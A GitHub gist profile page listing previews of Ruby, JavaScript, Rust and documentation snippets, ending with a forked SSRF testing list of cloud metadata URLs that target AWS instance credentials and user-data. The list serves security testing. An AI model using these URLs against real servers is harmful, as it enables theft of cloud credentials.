Skip to content

Instantly share code, notes, and snippets.

View mmmpa's full-sized avatar
👷‍♂️
working

mmmpa mmmpa

👷‍♂️
working
View GitHub Profile
module Arel
module Nodes
const_set 'Separator', Class.new(Binary)
end
module Visitors
class ToSql < ::Arel::Visitors::Reduce
def visit_Arel_Nodes_Separator o, collector
collector = visit o.left, collector
collector << " SEPARATOR "
def pluck(*column_names)
if loaded? && (column_names.map(&:to_s) - @klass.attribute_names - @klass.attribute_aliases.keys).empty?
return records.pluck(*column_names)
end
if has_include?(column_names.first)
construct_relation_for_association_calculations.pluck(*column_names)
else
relation = spawn
relation.select_values = column_names.map { |cn|
module Formtastic
module Inputs
module Base
module Errors
# override
def error_sentence_html
error_class = builder.default_inline_error_class
template.content_tag(:p, full_message_errors.to_sentence.html_safe, :class => error_class)
end
<iframe
style="width: 100%; height: 458px; overflow:hidden; border: 0"
srcdoc='<html><body><style type="text/css">.gist .gist-data { height: 400px; }</style><script src="https://gist.github.com/mmmpa/6727e93c25553adbcdceefb8499f2287.js"></script></body></html>'
>
</iframe>
document
.querySelector('#hello')
.addEventListener(
'click',
() => swal({
title: 'Hello HeartRails!',
text: 'This alert is created by SweetAlert.',
icon: "success",
})
)
@mmmpa
mmmpa / Gemfile
Created November 21, 2018 19:24 — forked from r7kamura/Gemfile
source "https://rubygems.org"
# Fixed order
gem "rails"
# Alphabetical order
gem "activerecord-belongs_to_if"
gem "bcrypt"
gem "email_validator"
gem "execjs"
@mmmpa
mmmpa / yardoc_cheatsheet.md
Created November 23, 2018 18:37 — forked from chetan/yardoc_cheatsheet.md
YARD cheatsheet

YARD CHEATSHEET http://yardoc.org

cribbed from http://pastebin.com/xgzeAmBn

Templates to remind you of the options and formatting for the different types of objects you might want to document using YARD.

Modules

Namespace for classes and modules that handle serving documentation over HTTP

// ==UserScript==
// @name remove container
// @include http*://b.hatena.ne.jp*
// ==/UserScript==
(function () {
const configure = {
'https://anond.hatelabo.jp': true,
'https://togetter.com': true,
'https://twitter.com': true,
fn prepare<A: Clone + 'static, B: Clone, C, AB: Fn(A, B) -> C + 'static>(op: AB) -> Box<dyn Fn(A) -> Box<dyn Fn(B) -> C>> {
let op_rc = Rc::new(op);
Box::new(
move |a: A| {
let a_rc = Rc::new(a.clone());
let op_rc = op_rc.clone();
Box::new(move |b: B| {
let a = a_rc.as_ref();
let op = op_rc.as_ref();
op(a.clone(), b.clone())
@mmmpa
mmmpa / cloud_metadata.txt
Created September 6, 2019 03:05 — forked from BuffaloWill/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## IPv6 Tests
http://[::ffff:169.254.169.254]
http://[0:0:0:0:0:ffff:169.254.169.254]
## AWS
# Amazon Web Services (No Header Required)
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]